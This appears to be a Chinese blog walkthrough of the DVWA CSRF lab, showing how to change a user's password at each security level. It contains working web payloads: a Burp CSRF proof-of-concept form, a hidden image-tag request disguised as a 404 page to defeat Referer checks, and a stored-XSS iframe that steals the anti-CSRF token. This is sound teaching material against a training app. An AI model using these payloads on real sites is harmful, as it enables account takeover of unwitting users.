DVWA CSRF

  • A+
所属分类:安全文章
0x01.CSRF(Low)

相关代码分析

DVWA CSRF
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
修改密码,然后抓包,记录下修改密码的链接
http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
DVWA CSRF
或者burp右键生成CSRF的poc,保存成HTML文档
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://x.x.x.x/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="123456" /> <input type="hidden" name="password&#95;conf" value="123456" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> </body></html>
CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,  这里注意, A浏览器留下的cookie不能在B浏览器上使用。
所以当了受害者用了不同的浏览器点击链接时,  攻击是不会被触发的。
这里用同一浏览器,打开构造的链接或者HTML文档
DVWA CSRF
DVWA CSRF
之后可以用修改后的密码去登陆了
这里构造的链接还可以通过短网址平台来修改
https://dwz.cn/

0x02.CSRF(Medium)

相关代码分析
DVWA CSRF
eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要访问的主机名),希望通过这种机制抵御CSRF攻击。
DVWA CSRF
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是x.x.x.x)
我们可以将攻击页面命名为x.x.x.x.html(页面被放置在攻击者的服务器里,这里是x.x.x.x)就可以绕过了
构造CSRF的poc,保存成HTML文档
<img src="http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/><h1>404<h1><h2>file not found.<h2>
DVWA CSRF
这里一样用同一浏览器,打开构造的链接抓包
burp里的url可以自己构造
http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
DVWA CSRF
可以看到密码成功修改
DVWA CSRF
之后可以用修改后的密码去登陆了
0x03.CSRF(High)
相关代码分析
DVWA CSRF
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
现在要想进行 CSRF 攻击就必须获取到用户的 token,而要想获取到 token 就必须利用用户的 cookie 去访问修改密码的页面,然后截取服务器返回的 token 值。这里可以利用 XSS(Stored) 的 high 级别的漏洞,我们注入一个攻击脚本,使得每次打开页面时都弹出 token 值。
注入的 payload 如下,别忘了 high 级别的 XSS(Stored) 需要抓包后改 name 参数。
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
DVWA CSRF
放包后,每次打开页面都会弹出 token 值
DVWA CSRF
在页面弹出的iframe框里修改密码,就可成功修改
DVWA CSRF
之后可以用修改后的密码去登陆了

0x04.CSRF(High)

相关代码分析
DVWA CSRF
可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
0x05.写在最后
免责声明:本站提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!本文部分内容来自网络,在此说明。
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
欢迎关注公众号:24h进德修业,一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望能够给大家带来帮助,前行的道路上感谢有您的关注与支持。

本文始发于微信公众号(24h进德修业):DVWA CSRF

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: